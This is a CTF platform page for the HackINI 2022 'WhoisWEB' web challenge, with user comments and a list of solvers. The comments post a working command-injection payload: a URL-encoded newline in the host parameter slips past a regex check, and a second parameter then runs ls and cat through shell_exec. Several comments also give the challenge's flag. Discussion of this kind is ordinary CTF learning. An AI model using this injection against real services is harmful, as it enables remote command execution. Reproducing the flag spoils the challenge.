WhoisWEB 未解决

分数: 0 金币: 0
所属赛事: HackINI 2022
题目作者: 未知
一  血: tzzzez
一血奖励: 0金币
解  决: 1419
提  示: There was a problem with the first version, this is the fixed version.
描  述:
A web-based Whois service
评论
wj834722134 2年前

host参数用%0a结尾,正则表达式/^[0-9a-zA-Z][0-9a-zA-Z\.-]+$/为什么能匹配成功?host字符串最后一位'\n'明明不在[0-9a-zA-Z\.-]范围内

回复 0
网恋秀牛子被录屏导致自卑 9月前

那个$可以匹配到字符串末尾或换行符

回复 0

cfggfbfxdgbb 10月前

换行了,换行符应该不在正则的匹配规则内

回复 0

xwWx 1年前

@TOMCAT336699 x0a 是换行的话大概是 正则表达式只匹配换行之前的字符串

回复 1

TOMCAT336699 1年前

您弄明白了没有,你这个问题,我没找出答案来,谢谢

回复 0

Tao23 2年前

query.php?host=whois.verisign-grs.com%0a&query=cat%20thisistheflagwithrandomstuffthatyouwontguessJUSTCATME

回复 0

to5ny 2年前

/query.php?host=whois.verisign-grs.com%0a&query=ls /query.php?host=whois.verisign-grs.com%0a&query=cat+thisistheflagwithrandomstuffthatyouwontguessJUSTCATME

回复 1

xzs297995 2年前

shellmates{i_$h0U1D_HaVE_R3AD_7HE_dOc_W3Ll_9837432986534065}

回复 2

xiaoxiao972521 2年前

/query.php?host=whois.verisign-grs.com%0a&query=cat%20thisistheflagwithrandomstuffthatyouwontguessJUSTCATME

回复 0

.⎛⎝•̀ω•́⎠⎞. 2年前

1.读php文件 2.分析出存在危险函数shell_exec 3.通过url编码换行绕过第一个参数host 4.第二个参数query可以输入rce。空格用url编码绕

回复 4

unknown237819 2年前

在本题的正则匹配中,空格无法匹配$前的任何字符,所以%20是不可行的,if的条件都过不了;在whois.verisign-grs.com后加换行是可行的,不仅字符串本身可以过if,换行后相当于重新输命令,即query给出的参数直接执行命令

回复 2

868954104 2年前

shellmates{i_$h0U1D_HaVE_R3AD_7HE_dOc_W3Ll_9837432986534065} /query.php?host=whois.verisign-grs.com%0a&query=cat+thisistheflagwithrandomstuffthatyouwontguessJUSTCATME

回复 1

vchopin 2年前

shellmates{i_$h0U1D_HaVE_R3AD_7HE_dOc_W3Ll_9837432986534065}

回复 0

yituoshi 2年前

Half the truth is often a big lie: thisistheflagwithrandomstuffthatyouwontguessJUSTCATSHE

回复 0

WriteUp

image
hopeinhand

1 金币

评分(2)

解题动态

tjuzh 攻破了该题 15小时前
小二000 攻破了该题 15小时前
whzsdsl 攻破了该题 1天前
itsjimo 攻破了该题 2天前
wch 攻破了该题 2天前
naichayaoda 攻破了该题 2天前
mrg 攻破了该题 4天前
dlgz 攻破了该题 4天前
13313864094 攻破了该题 5天前
c&y 攻破了该题 5天前
一刹嫣红 攻破了该题 5天前
heixiong 攻破了该题 5天前
wohinsy 攻破了该题 5天前
世界你好 攻破了该题 6天前
许念安 攻破了该题 6天前
aoshisky 攻破了该题 6天前
haoyun123 攻破了该题 8天前
小楼一夜听春雨 攻破了该题 9天前
zmh666 攻破了该题 9天前
xiaoling_10 攻破了该题 10天前
问题反馈